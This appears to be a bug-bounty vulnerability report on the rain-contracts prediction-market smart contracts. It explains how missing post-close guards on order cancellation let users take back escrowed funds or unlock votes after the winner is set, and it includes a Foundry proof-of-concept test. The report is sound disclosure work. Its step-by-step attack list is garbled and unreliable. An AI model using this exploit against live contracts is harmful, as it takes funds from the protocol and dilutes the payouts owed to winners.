https://github.com/hackenproof-public/rain-contracts
_cancelBuyOrder() and _cancelSellOrder() lack post-pool-close guards, allowing participants to reclaim escrowed funds and unlock votes after the market winner is finalized. This violates the whitepaper's core "No Refund Policy" and breaks settlement finality, causing direct fund loss to the protocol and incorrect payout distributions.
Both functions validate only order existence but lack state guards for poolFinalized and winner:
function _cancelBuyOrder(...) private {
if (orderBook[option][price][orderID].exists == false) {
_revert(OrderDoesNotExist.selector);
}
// ⚠️ MISSING: if (poolFinalized || winner != 0) revert;
IERC20(baseToken).safeTransfer(caller, orderAmount);
}
userAmountInEscrow[option][buyer] = 10,000 USDTclosePool() called) → poolFinalized = truechooseWinner(1) called) → winner = 1cancelBuyOrder() with no restrictionsuserVotesInEscrow[1][seller] = 1,000chooseWinner(1))claim() due to: if (userVotesInEscrow[winner][msg.sender] > 0) revertcancelSellOrder() → userVotesInEscrow[1][seller] = 0 ← votes unlockedclaim() → now succeeds and claims reward| Stakeholder | Loss Mechanism |
|---|---|
| Platform | platformShare percentage lost |
| Liquidity | liquidityShare allocated to fewer funds |
| Winners | winningPoolShare diluted |
| Scale | Per-market: Sum of all cancelled post-close orders |
function test_CancelBuyOrder_PostClose_Refunds_BUG() external {
// Setup: Buyer places unfilled buy order with 10K USDT
vm.warp(block.timestamp + 5 minutes);
address buyer = addr1;
deal(address(baseToken), buyer, returnInEther(10_000));
vm.startPrank(buyer);
baseToken.approve(address(rainPoolPublic), returnInEther(10_000));
uint256 buyOrderId = rainPoolPublic.placeBuyOrder(2, 1e16, returnInEther(10_000));
vm.stopPrank();
uint256 balBefore = baseToken.balanceOf(buyer);
// Close pool and choose winner
vm.warp(block.timestamp + 33 minutes);
vm.prank(poolOwner);
rainPoolPublic.closePool();
vm.prank(resolverAI);
rainPoolPublic.chooseWinner(1);
// BUG: Cancel order AFTER pool closed - should revert but doesn't!
vm.startPrank(buyer);
uint256[] memory options = new uint256[](1);
uint256[] memory prices = new uint256[](1);
uint256[] memory orderIds = new uint256[](1);
options[0] = 2;
prices[0] = 1e16;
orderIds[0] = buyOrderId;
rainPoolPublic.cancelBuyOrders(options, prices, orderIds);
vm.stopPrank();
// PROOF: Buyer got refund after pool closed (violates "no refund policy")
assertEq(
baseToken.balanceOf(buyer),
balBefore + returnInEther(10_000),
"BUG: cancelBuyOrder allows post-close refund!"
);
}